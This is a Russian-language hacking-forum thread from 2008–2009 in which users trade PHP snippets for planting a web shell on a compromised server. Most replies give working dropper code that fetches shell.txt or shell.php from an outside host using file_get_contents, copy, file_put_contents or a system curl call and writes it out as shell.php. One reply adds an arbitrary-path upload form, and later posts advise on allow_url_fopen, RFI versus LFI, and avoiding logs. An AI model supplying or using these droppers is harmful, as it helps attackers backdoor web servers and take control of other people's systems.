PDA

Просмотр полной версии : PhP скрипт заливающий шелл


CyBeR_MaE$tR0
09.01.2008, 17:55
:)

Macro
09.01.2008, 18:03
Прошу помощи, т.к. никак не могу сделатЬ, пхп скрипт, при запуске которого, с серванты бы скачивался файл, в туже папку откуда запущен скрипт, и переименовывался в shell.php.
очень надо
заранее благодарен

<?
$shell=file_get_contents('http://server/shell.txt') or die('can\'t download shell');
$fp=fopen('shell.php','wb') or die('can\'t fopen()');
fwrite($fp,$shell);
fclose($fp);
?>

А®ТеS
09.01.2008, 18:07
Если ОС никсы и SAFE_MOD=OFF и установлен CURL, то можно так:

<?php
system("CURL http://site.ru/shell.txt > shell.php");
?>

Также можно поизвращаться с WGET.
А вообще самый правильный вариант, это что предложил Macro :).

AkyHa_MaTaTa
09.01.2008, 18:17
или так(уже с формой, может я тебя не правильно понял):

$path = $_SERVER['DOCUMENT_ROOT'];
$uplouder = <<<HERE
<html><head><META http-equiv=Content-Type content="text/html; charset=windows-1251">
<title> Загрузка файлов на сервер </title></head>
<body>
<h2><b> Форма для загрузки файлов </b></h2>
<form action="upload.php" method="post" enctype="multipart/form-data">
Путь к файлу на сервере
<input type="text" name="new_path" value = $path><br>
Имя файла на сервере
<input type="text" name="new_name" value = "uploud.php"><br>
<input type="file" name="filename"><br>
<input type="submit" value="3aгpyзитьтb"><br>
</form>
</body>
</html>
HERE;
$uploadfile= @$_POST['new_path'] . "/" . @$_POST['new_name'];
if (move_uploaded_file(@$_FILES['filename']['tmp_name'], $uploadfile))
{
echo "Файл успешно загруженн, он доступен по этому пути:" . $uploadfile ;
}
else
{
echo $uplouder;
}

ZEXEL
13.01.2008, 10:33
Да что так заливать шелл сложно на форум - нет смысла переименовывать, так как php файл на форум же залить сложно

keeberg
13.01.2008, 11:02
<body bgcolor="EEEEFF">
<font color="red">
<center><h1>


<?php
$ok = "Чувак! Ты залил шелл, на этот сервак! :)";
$no = "Облом!!! нету прав на запись.";
if(copy("http://www.pr0gram.nm.ru/shell.php", "./shell.php")) echo "$ok"; else echo "$no";
?>


</h1><center>
</font>

X-FRITS
17.07.2009, 20:05
сори что поднимаю тему, но есть еще один отличный способ, одной строкой:
file_put_contents('shell.php',file_get_contents('h ttp://site.com/shell.txt'));
Работает везде.

_==wolf==_
17.07.2009, 20:54
эмм. а что такое серванты?

FireFenix
17.07.2009, 21:15
от слова сервер

PaCo
17.07.2009, 23:06
сори что поднимаю тему, но есть еще один отличный способ, одной строкой:
file_put_contents('shell.php',file_get_contents('h ttp://site.com/shell.txt'));
Работает везде.
угу а еще copy('http://site.com/shell.txt','shell.php'); и еще 5 тысыч способов, я б минусовал за такое ей богу :mad: .

X-FRITS
28.07.2009, 19:58
угу а еще copy('http://site.com/shell.txt','shell.php'); и еще 5 тысыч способов, я б минусовал за такое ей богу :mad: .
Интересно за что это бы ты минусовал?? Если этот способ никто не написал, и я не скопипастил.
А то что способ легкий и если ты его знаешь, это не значит что его знают все.
P.S. я считаю что ты мог бы и промолчать, так как твой пост был неуместен.

Pashkela
28.07.2009, 20:11
сори что поднимаю тему, но есть еще один отличный способ, одной строкой:
PHP код:
file_put_contents('shell.php',file_get_contents('h ttp://site.com/shell.txt'));

Работает везде.

щаз, везде. ЛОЛ!!!

Только если allow_url_fopen=on

Практически всегда лучше юзать локальные формы загрузки, имхо

RFI - это вообще палево. Палево вашего сервака с шеллом. Даже если есть RFI всё-равно всегда лучше юзать LFI-версию загрузки. Всё ж в логах остается, если вы не уверены, что порутаете сервак